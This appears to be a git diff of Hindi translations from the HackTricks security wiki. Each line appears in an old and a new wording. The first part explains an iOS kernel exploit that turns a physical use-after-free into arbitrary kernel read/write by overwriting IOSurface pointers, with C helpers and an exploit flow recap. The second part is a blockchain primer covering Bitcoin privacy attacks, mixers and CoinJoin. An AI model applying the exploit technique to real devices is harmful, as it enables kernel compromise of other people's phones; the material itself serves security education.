IOSurface ऑब्जेक्ट में दो महत्वपूर्ण फील्ड हैं:
1. **Use Count Pointer**: यह **32-bit read** की अनुमति देता है।
2. **Indexed Timestamp Pointer**: यह **64-bit write** की अनुमति देता है।
1. **Use Count Pointer**: एक **32-bit read** की अनुमति देता है।
2. **Indexed Timestamp Pointer**: एक **64-bit write** की अनुमति देता है।
इन pointers को overwrite करके, हम उन्हें kernel memory में arbitrary addresses की ओर redirect कर सकते हैं, जिससे read/write क्षमताएँ सक्षम होती हैं।
इन pointers को overwrite करके, हम इन्हें kernel memory में arbitrary addresses पर redirect कर सकते हैं, जिससे read/write क्षमता सक्षम होती है।
#### 32-Bit Kernel Read
पढ़ने के लिए:
Read करने के लिए:
1. **use count pointer** को overwrite करके इसे target address से 0x14-बाइट कम offset पर point करें।
2. `get_use_count` मेथड का उपयोग करके उस address पर मौजूद value पढ़ें।
1. **use count pointer** को target address से 0x14-byte offset घटाकर उस स्थान पर point करने के लिए overwrite करें।
2. उस address पर मौजूद value को read करने के लिए `get_use_count` method का उपयोग करें।
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
@ -198,11 +195,11 @@ iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-बिट Kernel लिखना
#### 64-बिट कर्नेल लिखना
लिखने के लिए:
1. **indexed timestamp pointer** को लक्ष्य पते पर ओवरराइट करें।
1. लक्षित पता पर **indexed timestamp pointer** को ओवरराइट करें।
2. `set_indexed_timestamp` method का उपयोग करके 64-bit मान लिखें।
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
@ -217,13 +214,13 @@ set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Flow Recap
#### एक्सप्लॉइट फ्लो सारांश
1. **Trigger Physical Use-After-Free**: फ्री पेज पुन: उपयोग के लिए उपलब्ध होते हैं।
2. **Spray IOSurface Objects**: kernel memory में unique "magic value" के साथ कई IOSurface objects आवंटित किए जाते हैं।
3. **Identify Accessible IOSurface**: अपने नियंत्रण वाले freed पेज पर एक IOSurface ढूँढें।
4. **Abuse Use-After-Free**: IOSurface object में pointers बदलकर IOSurface methods के माध्यम से arbitrary **kernel read/write** सक्षम करें।
1. **Trigger Physical Use-After-Free**: फ्री किए गए पृष्ठ पुन: उपयोग के लिए उपलब्ध होते हैं।
2. **Spray IOSurface Objects**: kernel memory में एक अनूठे "magic value" के साथ कई IOSurface objects allocate करें।
3. **Identify Accessible IOSurface**: उस freed page पर मौजूद IOSurface खोजें जिस पर आप control रखते हैं।
4. **Abuse Use-After-Free**: IOSurface object के pointers को modify करें ताकि IOSurface methods के माध्यम से arbitrary **kernel read/write** सक्षम हो सके।
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
इन primitives के साथ, यह exploit नियंत्रित **32-bit reads** और **64-bit writes** kernel memory को प्रदान करता है। आगे के jailbreak चरणों में अधिक स्थिर read/write primitives शामिल हो सकते हैं, जिनके लिए अतिरिक्त protections (उदा., PPL on newer arm64e devices) को bypass करने की आवश्यकता पड़ सकती है।
{{#include ../../banners/hacktricks-training.md}}

184
src/blockchain/blockchain-and-crypto-currencies/README.md
View File

@ -1,176 +1,178 @@
# ब्लॉकचेन और क्रिप्टो-करेंसी
{{#include ../../banners/hacktricks-training.md}}
## मूल अवधारणाएँ
## बुनियादी अवधारणाएँ
- **स्मार्ट कॉन्ट्रैक्ट्स** को उन प्रोग्रामों के रूप में परिभाषित किया जाता है जो एक ब्लॉकचेन पर तब निष्पादित होते हैं जब कुछ शर्तें पूरी होती हैं, मध्यस्थों के बिना समझौतों के निष्पादन को स्वचालित करते हैं।
- **विकेंद्रीकृत अनुप्रयोग (dApps)** स्मार्ट कॉन्ट्रैक्ट्स पर आधारित होते हैं, जिनमें उपयोगकर्ता के अनुकूल फ्रंट-एंड और पारदर्शी, ऑडिट करने योग्य बैक-एंड होता है।
- **टोकन और सिक्के** में अंतर होता है, जहाँ सिक्के डिजिटल पैसे के रूप में कार्य करते हैं, जबकि टोकन विशिष्ट संदर्भों में मूल्य या स्वामित्व का प्रतिनिधित्व करते हैं।
- **यूटिलिटी टोकन** सेवाओं तक पहुँच प्रदान करते हैं, और **सिक्योरिटी टोकन** संपत्ति के स्वामित्व का संकेत देते हैं।
- **DeFi** का अर्थ विकेंद्रीकृत वित्त है, जो केंद्रीय प्राधिकरणों के बिना वित्तीय सेवाएँ प्रदान करता है।
- **DEX** और **DAOs** क्रमशः विकेंद्रीकृत एक्सचेंज प्लेटफार्मों और विकेंद्रीकृत स्वायत्त संगठनों को संदर्भित करते हैं।
- **Smart Contracts** ऐसे प्रोग्राम होते हैं जो ब्लॉकचेन पर कुछ शर्तें पूरी होने पर चलते हैं, और मध्यस्थों के बिना समझौतों के निष्पादन को स्वचालित करते हैं।
- **Decentralized Applications (dApps)** Smart Contracts पर आधारित होते हैं, जिनमें उपयोगकर्ता-अनुकूल फ्रंट-एंड और पारदर्शी, ऑडिटेबल बैक-एंड होता है।
- **Tokens & Coins** का अंतर यह है कि coins डिजिटल पैसा के रूप में कार्य करते हैं, जबकि tokens विशिष्ट संदर्भों में मूल्य या स्वामित्व का प्रतिनिधित्व करते हैं।
- **Utility Tokens** सेवाओं तक पहुंच देते हैं, और **Security Tokens** संपत्ति के स्वामित्व का संकेत देते हैं।
- **DeFi** का अर्थ Decentralized Finance है, जो केंद्रीय प्राधिकरणों के बिना वित्तीय सेवाएँ प्रदान करता है।
- **DEX** और **DAOs** क्रमशः Decentralized Exchange Platforms और Decentralized Autonomous Organizations को संदर्भित करते हैं।
## सहमति तंत्र
सहमति तंत्र ब्लॉकचेन पर सुरक्षित और सहमति से लेनदेन की मान्यता सुनिश्चित करते हैं:
सहमति तंत्र ब्लॉकचेन पर लेन-देन के सत्यापन को सुरक्षित और सहमति आधारित बनाते हैं:
- **प्रूफ ऑफ वर्क (PoW)** लेनदेन की सत्यापन के लिए कंप्यूटेशनल शक्ति पर निर्भर करता है।
- **प्रूफ ऑफ स्टेक (PoS)** सत्यापनकर्ताओं से एक निश्चित मात्रा में टोकन रखने की मांग करता है, जो PoW की तुलना में ऊर्जा की खपत को कम करता है।
- **Proof of Work (PoW)** लेन-देन सत्यापन के लिए कम्प्यूटेशनल पावर पर निर्भर करता है।
- **Proof of Stake (PoS)** validators से कुछ मात्रा में tokens रखने की मांग करता है, जो PoW की तुलना में ऊर्जा खपत कम करता है।
## बिटकॉइन आवश्यकताएँ
## Bitcoin मूल बातें
### लेनदेन
### लेन-देन
बिटकॉइन लेनदेन में पते के बीच धन का हस्तांतरण शामिल होता है। लेनदेन को डिजिटल हस्ताक्षरों के माध्यम से मान्य किया जाता है, यह सुनिश्चित करते हुए कि केवल निजी कुंजी का मालिक ही हस्तांतरण शुरू कर सकता है।
Bitcoin लेन-देन पतों के बीच धन स्थानांतरित करने को शामिल करते हैं। लेन-देन डिजिटल हस्ताक्षरों के माध्यम से सत्यापित होते हैं, जो सुनिश्चित करते हैं कि केवल प्राइवेट की का मालिक ही ट्रांसफर आरंभ कर सकता है।
#### प्रमुख घटक:
#### मुख्य घटक:
- **मल्टीसिग्नेचर लेनदेन** को एक लेनदेन को अधिकृत करने के लिए कई हस्ताक्षरों की आवश्यकता होती है।
- लेनदेन में **इनपुट** (धन का स्रोत), **आउटपुट** (गंतव्य), **शुल्क** (खननकर्ताओं को भुगतान किया गया), और **स्क्रिप्ट** (लेनदेन के नियम) शामिल होते हैं।
- **Multisignature Transactions** में एक लेन-देन को अधिकृत करने के लिए कई हस्ताक्षरों की आवश्यकता होती है।
- लेन-देन में **inputs** (धन का स्रोत), **outputs** (गंतव्य), **fees** (miners को दिए जाने वाले), और **scripts** (लेन-देन के नियम) शामिल होते हैं।
### लाइटनिंग नेटवर्क
### Lightning Network
बिटकॉइन की स्केलेबिलिटी को बढ़ाने का लक्ष्य है, जिससे एक चैनल के भीतर कई लेनदेन किए जा सकें, केवल अंतिम स्थिति को ब्लॉकचेन पर प्रसारित किया जाए।
यह चैनल के भीतर कई लेन-देन की अनुमति देकर Bitcoin की स्केलेबिलिटी बढ़ाने का लक्ष्य रखता है, और केवल अंतिम स्थिति को ही ब्लॉकचेन पर प्रसारित करता है।
## बिटकॉइन गोपनीयता चिंताएँ
## Bitcoin गोपनीयता चिंताएँ
गोपनीयता हमले, जैसे **कॉमन इनपुट ओनरशिप** और **UTXO चेंज एड्रेस डिटेक्शन**, लेनदेन के पैटर्न का लाभ उठाते हैं। **मिक्सर्स** और **कोइनजॉइन** जैसी रणनीतियाँ उपयोगकर्ताओं के बीच लेनदेन के लिंक को अस्पष्ट करके गुमनामी में सुधार करती हैं।
गोपनीयता हमले, जैसे **Common Input Ownership** और **UTXO Change Address Detection**, लेन-देन पैटर्न का शोषण करते हैं। **Mixers** और **CoinJoin** जैसी रणनीतियाँ उपयोगकर्ताओं के बीच लेन-देन लिंक छिपाकर अनामिता बढ़ाती हैं।
## बिटकॉइन को गुमनाम रूप से प्राप्त करना
## Bitcoins को अनाम तरीके से प्राप्त करना
विधियों में नकद व्यापार, खनन, और मिक्सर्स का उपयोग शामिल है। **कोइनजॉइन** कई लेनदेन को मिलाकर ट्रेसबिलिटी को जटिल बनाता है, जबकि **पे-जॉइन** कोइनजॉइन को नियमित लेनदेन के रूप में छिपाता है ताकि गोपनीयता बढ़ सके।
विधियों में कैश ट्रेड, mining, और mixers का उपयोग शामिल है। **CoinJoin** कई लेन-देन मिक्स करता है ताकि ट्रेसबिलिटी जटिल हो जाए, जबकि **PayJoin** CoinJoins को नियमित लेन-देन के रूप में छिपाकर गोपनीयता बढ़ाता है।
# बिटकॉइन गोपनीयता हमले
# Bitcoin गोपनीयता हमले
# बिटकॉइन गोपनीयता हमलों का सारांश
# Bitcoin गोपनीयता हमलों का सारांश
बिटकॉइन की दुनिया में, लेनदेन की गोपनीयता और उपयोगकर्ताओं की गुमनामी अक्सर चिंता का विषय होती है। यहाँ कुछ सामान्य तरीकों का सरल अवलोकन है जिनके माध्यम से हमलावर बिटकॉइन की गोपनीयता को खतरे में डाल सकते हैं।
Bitcoin की दुनिया में, लेन-देन की गोपनीयता और उपयोगकर्ताओं की अनामिता अक्सर चिंता का विषय होती है। यहाँ कुछ सामान्य तरीकों का संक्षिप्त परिचय है जिनके माध्यम से हमलावर Bitcoin की गोपनीयता को नुकसान पहुँचा सकते हैं।
## **कॉमन इनपुट ओनरशिप अनुमान**
## **Common Input Ownership Assumption**
यह सामान्यतः दुर्लभ है कि विभिन्न उपयोगकर्ताओं के इनपुट को एक ही लेनदेन में जोड़ा जाए क्योंकि इसमें जटिलता होती है। इसलिए, **एक ही लेनदेन में दो इनपुट पते अक्सर एक ही मालिक के होने का अनुमान लगाया जाता है**।
विभिन्न उपयोगकर्ताओं के inputs को एक ही लेन-देन में मिलाना आमतौर पर जटिलता के कारण दुर्लभ होता है। इसलिए, एक ही लेन-देन में मौजूद **दो input addresses अक्सर एक ही मालिक के होने का अनुमान लगाया जाता है**।
## **UTXO चेंज एड्रेस डिटेक्शन**
## **UTXO Change Address Detection**
एक UTXO, या **अनस्पेंट ट्रांजैक्शन आउटपुट**, को एक लेनदेन में पूरी तरह से खर्च किया जाना चाहिए। यदि इसका केवल एक भाग किसी अन्य पते पर भेजा जाता है, तो शेष एक नए चेंज पते पर जाता है। पर्यवेक्षक यह मान सकते हैं कि यह नया पता भेजने वाले का है, जिससे गोपनीयता का उल्लंघन होता है।
एक UTXO, या **Unspent Transaction Output**, को लेन-देन में पूरी तरह खर्च किया जाना चाहिए। यदि केवल इसका एक हिस्सा किसी अन्य पते पर भेजा जाता है, तो शेष नया change address में जाता है। पर्यवेक्षक यह मान सकते हैं कि यह नया पता sender का है, जिससे गोपनीयता प्रभावित होती है।
### उदाहरण
इससे बचने के लिए, मिक्सिंग सेवाएँ या कई पते का उपयोग स्वामित्व को अस्पष्ट करने में मदद कर सकते हैं।
इसे कम करने के लिए, mixing services या कई पतों का उपयोग करने से स्वामित्व छिपाने में मदद मिल सकती है।
## **सोशल नेटवर्क और फोरम का प्रदर्शन**
## **Social Networks & Forums Exposure**
उपयोगकर्ता कभी-कभी अपने बिटकॉइन पते को ऑनलाइन साझा करते हैं, जिससे **पते को उसके मालिक से जोड़ना आसान हो जाता है**।
उपयोगकर्ता कभी-कभी अपने Bitcoin addresses ऑनलाइन साझा करते हैं, जिससे यह **आसान हो जाता है कि पते को उसके मालिक से जोड़ा जाए**।
## **लेनदेन ग्राफ विश्लेषण**
## **Transaction Graph Analysis**
लेनदेन को ग्राफ के रूप में दृश्य रूप में प्रस्तुत किया जा सकता है, जो उपयोगकर्ताओं के बीच संभावित संबंधों को धन के प्रवाह के आधार पर प्रकट करता है।
लेन-देन को ग्राफ के रूप में विज़ुअलाइज़ किया जा सकता है, जो फंड के प्रवाह के आधार पर उपयोगकर्ताओं के बीच संभावित संबंध प्रकट करते हैं।
## **अनावश्यक इनपुट ह्यूरिस्टिक (ऑप्टिमल चेंज ह्यूरिस्टिक)**
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
यह ह्यूरिस्टिक कई इनपुट और आउटपुट वाले लेनदेन का विश्लेषण करके अनुमान लगाने पर आधारित है कि कौन सा आउटपुट भेजने वाले को वापस लौटने वाला परिवर्तन है।
यह heuristic कई inputs और outputs वाले लेन-देन का विश्लेषण करके अनुमान लगाने पर आधारित है कि कौन सा output sender को लौटने वाला change है।
### उदाहरण
```bash
2 btc --> 4 btc
3 btc 1 btc
```
यदि अधिक इनपुट जोड़ने से परिवर्तन आउटपुट किसी एकल इनपुट से बड़ा हो जाता है, तो यह ह्यूरिस्टिक को भ्रमित कर सकता है।
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **फोर्स्ड एड्रेस रीयूज़**
## **Forced Address Reuse**
हमलावर पहले से उपयोग किए गए पते पर छोटे-छोटे अमाउंट भेज सकते हैं, यह उम्मीद करते हुए कि प्राप्तकर्ता भविष्य के लेनदेन में इन्हें अन्य इनपुट के साथ मिलाएगा, जिससे पते आपस में जुड़े रहेंगे।
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### सही वॉलेट व्यवहार
वॉलेट को पहले से उपयोग किए गए, खाली पते पर प्राप्त किए गए सिक्कों का उपयोग करने से बचना चाहिए ताकि इस गोपनीयता लीक को रोका जा सके।
वॉलेट्स को इस privacy leak को रोकने के लिए पहले से उपयोग किए जा चुके, खाली पतों पर प्राप्त सिक्कों का उपयोग करने से बचना चाहिए।
## **अन्य ब्लॉकचेन विश्लेषण तकनीकें**
## **Other Blockchain Analysis Techniques**
- **सटीक भुगतान राशि:** बिना परिवर्तन के लेनदेन संभवतः एक ही उपयोगकर्ता के दो पते के बीच होते हैं।
- **गोल नंबर:** लेनदेन में गोल संख्या यह सुझाव देती है कि यह एक भुगतान है, जिसमें गैर-गोल आउटपुट संभवतः परिवर्तन है।
- **वॉलेट फिंगरप्रिंटिंग:** विभिन्न वॉलेट के पास लेनदेन निर्माण के अद्वितीय पैटर्न होते हैं, जिससे विश्लेषकों को उपयोग किए गए सॉफ़्टवेयर और संभावित परिवर्तन पते की पहचान करने की अनुमति मिलती है।
- **राशि और समय संबंध:** लेनदेन के समय या राशियों का खुलासा लेनदेन को ट्रेस करने योग्य बना सकता है।
- **Exact Payment Amounts:** चेंज के बिना लेनदेन संभवतः एक ही उपयोगकर्ता के स्वामित्व वाले दो पतों के बीच होते हैं।
- **Round Numbers:** किसी लेनदेन में गोल संख्या होने पर यह भुगतान संकेत देता है, और गैर-गोल आउटपुट संभवतः चेंज होता है।
- **Wallet Fingerprinting:** विभिन्न वॉलेट्स के लेनदेन बनाने के अद्वितीय पैटर्न होते हैं, जिससे विश्लेषक प्रयुक्त सॉफ़्टवेयर और संभावित चेंज पता पहचान सकते हैं।
- **Amount & Timing Correlations:** लेनदेन के समय या राशियों का खुलासा लेनदेन को ट्रेस करने योग्य बना सकता है।
## **ट्रैफिक विश्लेषण**
## **Traffic Analysis**
नेटवर्क ट्रैफिक की निगरानी करके, हमलावर संभावित रूप से लेनदेन या ब्लॉकों को आईपी पते से जोड़ सकते हैं, जिससे उपयोगकर्ता की गोपनीयता का उल्लंघन होता है। यह विशेष रूप से सच है यदि कोई इकाई कई बिटकॉइन नोड्स संचालित करती है, जिससे उनके लेनदेन की निगरानी करने की क्षमता बढ़ जाती है।
नेटवर्क ट्रैफिक की निगरानी करके, हमलावर संभवतः लेनदेन या ब्लॉक्स को IP पतों से जोड़ सकते हैं, जिससे उपयोगकर्ता की गोपनीयता प्रभावित हो सकती है। यह विशेष रूप से तब सच है जब कोई संस्थान कई Bitcoin नोड्स चलाता है, क्योंकि इससे उनके लिए लेनदेन की निगरानी करने की क्षमता बढ़ जाती है।
## अधिक
## More
गोपनीयता हमलों और रक्षा के लिए एक व्यापक सूची के लिए, [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy) पर जाएं।
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# गुमनाम बिटकॉइन लेनदेन
# Anonymous Bitcoin Transactions
## गुमनाम रूप से बिटकॉइन प्राप्त करने के तरीके
## Ways to Get Bitcoins Anonymously
- **नकद लेनदेन**: नकद के माध्यम से बिटकॉइन प्राप्त करना।
- **नकद विकल्प**: उपहार कार्ड खरीदना और उन्हें ऑनलाइन बिटकॉइन के लिए बदलना।
- **माइनिंग**: बिटकॉइन कमाने का सबसे निजी तरीका माइनिंग है, विशेष रूप से जब इसे अकेले किया जाता है क्योंकि माइनिंग पूल माइनर के आईपी पते को जान सकते हैं। [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **चोरी**: सिद्धांत रूप से, बिटकॉइन चुराना गुमनाम रूप से इसे प्राप्त करने का एक और तरीका हो सकता है, हालांकि यह अवैध है और अनुशंसित नहीं है।
- **Cash Transactions**: नकद के माध्यम से bitcoin प्राप्त करना।
- **Cash Alternatives**: गिफ्ट कार्ड खरीदकर और उन्हें ऑनलाइन bitcoin के लिए एक्सचेंज करना।
- **Mining**: bitcoins कमाने का सबसे निजी तरीका mining है, खासकर अकेले करने पर क्योंकि mining pools को खनिक का IP पता पता हो सकता है। [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: सैद्धान्तिक रूप से, bitcoin चोरी करके इसे गुमनाम तरीके से प्राप्त किया जा सकता है, हालाँकि यह अवैध है और अनुशंसित नहीं है।
## मिक्सिंग सेवाएँ
## Mixing Services
मिक्सिंग सेवा का उपयोग करके, एक उपयोगकर्ता **बिटकॉइन भेज सकता है** और **वापस में विभिन्न बिटकॉइन प्राप्त कर सकता है**, जिससे मूल मालिक को ट्रेस करना कठिन हो जाता है। फिर भी, इसके लिए सेवा पर भरोसा करना आवश्यक है कि वह लॉग नहीं रखेगी और वास्तव में बिटकॉइन वापस करेगी। वैकल्पिक मिक्सिंग विकल्पों में बिटकॉइन कैसीनो शामिल हैं।
Mixing service का उपयोग करके, एक उपयोगकर्ता **bitcoins भेज सकता है** और बदले में **अलग bitcoins प्राप्त कर सकता है**, जिससे मूल मालिक का पता लगाना कठिन हो जाता है। फिर भी, इसके लिए सेवा पर भरोसा करना आवश्यक है कि वह लॉग नहीं रखेगी और वास्तव में bitcoins वापस करेगी। वैकल्पिक mixing विकल्पों में Bitcoin casinos शामिल हैं।
## कॉइनजॉइन
## CoinJoin
**कॉइनजॉइन** विभिन्न उपयोगकर्ताओं के कई लेनदेन को एक में मिलाता है, जिससे किसी के लिए इनपुट को आउटपुट से मिलाना जटिल हो जाता है। इसके प्रभावी होने के बावजूद, अद्वितीय इनपुट और आउटपुट आकार वाले लेनदेन को अभी भी संभावित रूप से ट्रेस किया जा सकता है।
**CoinJoin** विभिन्न उपयोगकर्ताओं के कई लेनदेन को एक में मिलाता है, जिससे इनपुट्स को आउटपुट्स से मिलाने की प्रक्रिया जटिल हो जाती है। अपनी प्रभावशीलता के बावजूद, अद्वितीय इनपुट और आउटपुट आकार वाले लेनदेन अभी भी संभावित रूप से ट्रेस किए जा सकते हैं।
उदाहरण लेनदेन जो कॉइनजॉइन का उपयोग कर सकते हैं उनमें `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` और `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` शामिल हैं।
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
अधिक जानकारी के लिए, [CoinJoin](https://coinjoin.io/en) पर जाएं। एथेरियम पर समान सेवा के लिए, [Tornado Cash](https://tornado.cash) देखें, जो माइनर्स के फंड से लेनदेन को गुमनाम बनाता है।
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
## पे-जॉइन
## PayJoin
कॉइनजॉइन का एक रूप, **पे-जॉइन** (या P2EP), दो पक्षों (जैसे, एक ग्राहक और एक व्यापारी) के बीच लेनदेन को एक सामान्य लेनदेन के रूप में छुपाता है, बिना कॉइनजॉइन की विशिष्ट समान आउटपुट विशेषता के। यह इसे पहचानना अत्यंत कठिन बनाता है और लेनदेन निगरानी संस्थाओं द्वारा उपयोग की जाने वाली सामान्य-इनपुट-स्वामित्व ह्यूरिस्टिक को अमान्य कर सकता है।
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
उपरोक्त लेनदेन PayJoin हो सकते हैं, जो गोपनीयता को बढ़ाते हैं जबकि मानक बिटकॉइन लेनदेन से भिन्न नहीं होते।
उपर्युक्त जैसी लेनदेन PayJoin हो सकती हैं, जो गोपनीयता बढ़ाती हैं जबकि मानक bitcoin लेनदेन से अलग पहचाने जाने योग्य नहीं रहतीं।
**PayJoin का उपयोग पारंपरिक निगरानी विधियों को महत्वपूर्ण रूप से बाधित कर सकता है**, जो लेनदेन की गोपनीयता की खोज में एक आशाजनक विकास है।
**PayJoin के उपयोग से पारंपरिक निगरानी विधियों में काफी व्यवधान आ सकता है**, जिससे यह लेनदेन की गोपनीयता सुनिश्चित करने के प्रयासों में एक आशाजनक विकास बनता है।
# क्रिप्टोक्यूरेंसी में गोपनीयता के लिए सर्वोत्तम प्रथाएँ
# क्रिप्टोकरेंसी में गोपनीयता के लिए सर्वोत्तम प्रथाएँ
## **वॉलेट समन्वय तकनीकें**
## **Wallet Synchronization Techniques**
गोपनीयता और सुरक्षा बनाए रखने के लिए, ब्लॉकचेन के साथ वॉलेट का समन्वय करना महत्वपूर्ण है। दो विधियाँ प्रमुख हैं:
गोपनीयता और सुरक्षा बनाए रखने के लिए, वॉलेट्स का blockchain के साथ सिंक्रोनाइज़ होना महत्वपूर्ण है। दो तरीके विशेष रूप से प्रभावी हैं:
- **पूर्ण नोड**: पूरे ब्लॉकचेन को डाउनलोड करके, एक पूर्ण नोड अधिकतम गोपनीयता सुनिश्चित करता है। सभी लेनदेन जो कभी किए गए हैं, स्थानीय रूप से संग्रहीत होते हैं, जिससे प्रतिकूलों के लिए यह पहचानना असंभव हो जाता है कि उपयोगकर्ता किस लेनदेन या पते में रुचि रखता है।
- **क्लाइंट-साइड ब्लॉक फ़िल्टरिंग**: यह विधि ब्लॉकचेन में प्रत्येक ब्लॉक के लिए फ़िल्टर बनाने में शामिल होती है, जिससे वॉलेट्स को नेटवर्क पर्यवेक्षकों को विशिष्ट रुचियों को उजागर किए बिना प्रासंगिक लेनदेन की पहचान करने की अनुमति मिलती है। हल्के वॉलेट इन फ़िल्टरों को डाउनलोड करते हैं, केवल तब पूर्ण ब्लॉक लाते हैं जब उपयोगकर्ता के पते के साथ मेल मिलता है।
- **Full node**: पूरे blockchain को डाउनलोड करके, a full node अधिकतम गोपनीयता सुनिश्चित करता है। सभी किए गए लेनदेन स्थानीय रूप से संग्रहित होते हैं, जिससे विपक्षियों के लिए यह पहचानना असंभव हो जाता है कि उपयोगकर्ता किन लेनदेन या पतों में रुचि रखता है।
- **Client-side block filtering**: यह विधि blockchain के हर ब्लॉक के लिए फ़िल्टर बनाने में शामिल है, जिससे वॉलेट्स नेटवर्क निरीक्षकों के सामने विशिष्ट रुचियाँ उजागर किए बिना प्रासंगिक लेनदेन पहचान सकें। हल्के वॉलेट्स ये फ़िल्टर डाउनलोड करते हैं और केवल तब पूर्ण ब्लॉक फ़ेच करते हैं जब उपयोगकर्ता के पतों से मेल मिलता है।
## **गोपनीयता के लिए टोर का उपयोग करना**
## **Utilizing Tor for Anonymity**
चूंकि बिटकॉइन एक पीयर-टू-पीयर नेटवर्क पर काम करता है, अपने आईपी पते को छिपाने के लिए टोर का उपयोग करने की सिफारिश की जाती है, जिससे नेटवर्क के साथ बातचीत करते समय गोपनीयता बढ़ती है।
चूंकि Bitcoin एक peer-to-peer नेटवर्क पर काम करता है, नेटवर्क के साथ इंटरैक्ट करते समय अपनी IP पता छिपाने के लिए Tor का उपयोग करने की सलाह दी जाती है, जिससे गोपनीयता बढ़ती है।
## **पते के पुन: उपयोग को रोकना**
## **Preventing Address Reuse**
गोपनीयता की सुरक्षा के लिए, हर लेनदेन के लिए एक नया पता उपयोग करना महत्वपूर्ण है। पते का पुन: उपयोग लेनदेन को एक ही इकाई से जोड़कर गोपनीयता को खतरे में डाल सकता है। आधुनिक वॉलेट अपने डिज़ाइन के माध्यम से पते के पुन: उपयोग को हतोत्साहित करते हैं।
गोपनीयता सुरक्षित रखने के लिए, हर लेनदेन के लिए नया पता उपयोग करना आवश्यक है। पतों का पुनः उपयोग गोपनीयता को कमजोर कर सकता है क्योंकि यह लेनदेन को एक ही इकाई से जोड़ देता है। आधुनिक वॉलेट्स अपने डिज़ाइन के माध्यम से पते के पुनः उपयोग को हतोत्साहित करते हैं।
## **लेनदेन की गोपनीयता के लिए रणनीतियाँ**
## **Strategies for Transaction Privacy**
- **कई लेनदेन**: एक भुगतान को कई लेनदेन में विभाजित करना लेनदेन की राशि को अस्पष्ट कर सकता है, गोपनीयता हमलों को विफल कर सकता है।
- **परिवर्तन से बचना**: ऐसे लेनदेन का चयन करना जो परिवर्तन आउटपुट की आवश्यकता नहीं रखते हैं, गोपनीयता को बढ़ाता है क्योंकि यह परिवर्तन पहचान विधियों को बाधित करता है।
- **कई परिवर्तन आउटपुट**: यदि परिवर्तन से बचना संभव नहीं है, तो कई परिवर्तन आउटपुट उत्पन्न करना भी गोपनीयता में सुधार कर सकता है।
- **Multiple transactions**: भुगतान को कई लेनदेन में विभाजित करने से लेनदेन की राशि अस्पष्ट हो सकती है, जिससे गोपनीयता हमलों को विफल किया जा सकता है।
- **Change avoidance**: चेंज आउटपुट की आवश्यकता नहीं वाले लेनदेन चुनने से गोपनीयता बढ़ती है क्योंकि यह change detection तरीकों को बाधित करता है।
- **Multiple change outputs**: यदि चेंज से बचना संभव नहीं है, तो कई चेंज आउटपुट जनरेट करना फिर भी गोपनीयता में सुधार कर सकता है।
# **मोनरो: गोपनीयता का एक प्रकाशस्तंभ**
# **Monero: A Beacon of Anonymity**
मोनरो डिजिटल लेनदेन में पूर्ण गोपनीयता की आवश्यकता को संबोधित करता है, जो गोपनीयता के लिए एक उच्च मानक स्थापित करता है।
Monero डिजिटल लेनदेन में पूर्ण गुमनामी की आवश्यकता को पूरा करता है और गोपनीयता के लिए उच्च मानक स्थापित करता है।
# **एथेरियम: गैस और लेनदेन**
# **Ethereum: Gas and Transactions**
## **गैस को समझना**
## **Understanding Gas**
गैस एथेरियम पर संचालन को निष्पादित करने के लिए आवश्यक गणनात्मक प्रयास को मापता है, जिसे **ग्वेई** में मूल्यांकित किया जाता है। उदाहरण के लिए, 2,310,000 ग्वेई (या 0.00231 ETH) की लागत वाला एक लेनदेन गैस सीमा और एक आधार शुल्क शामिल करता है, जिसमें खनिकों को प्रोत्साहित करने के लिए एक टिप होती है। उपयोगकर्ता अधिक भुगतान न करने के लिए अधिकतम शुल्क निर्धारित कर सकते हैं, और अतिरिक्त राशि वापस की जाती है।
Gas Ethereum पर ऑपरेशनों को निष्पादित करने के लिए आवश्यक कम्प्यूटेशनल प्रयास को मापता है, जिसका मूल्यांकन **gwei** में होता है। उदाहरण के लिए, 2,310,000 gwei (या 0.00231 ETH) लागत वाला एक लेनदेन gas limit और base fee शामिल करता है, साथ ही miners को प्रोत्साहित करने के लिए एक tip भी होता है। उपयोगकर्ता अधिक भुगतान न करें इसके लिए max fee सेट कर सकते हैं; अतिरिक्त राशि वापस कर दी जाती है।
## **लेनदेन निष्पादित करना**
## **Executing Transactions**
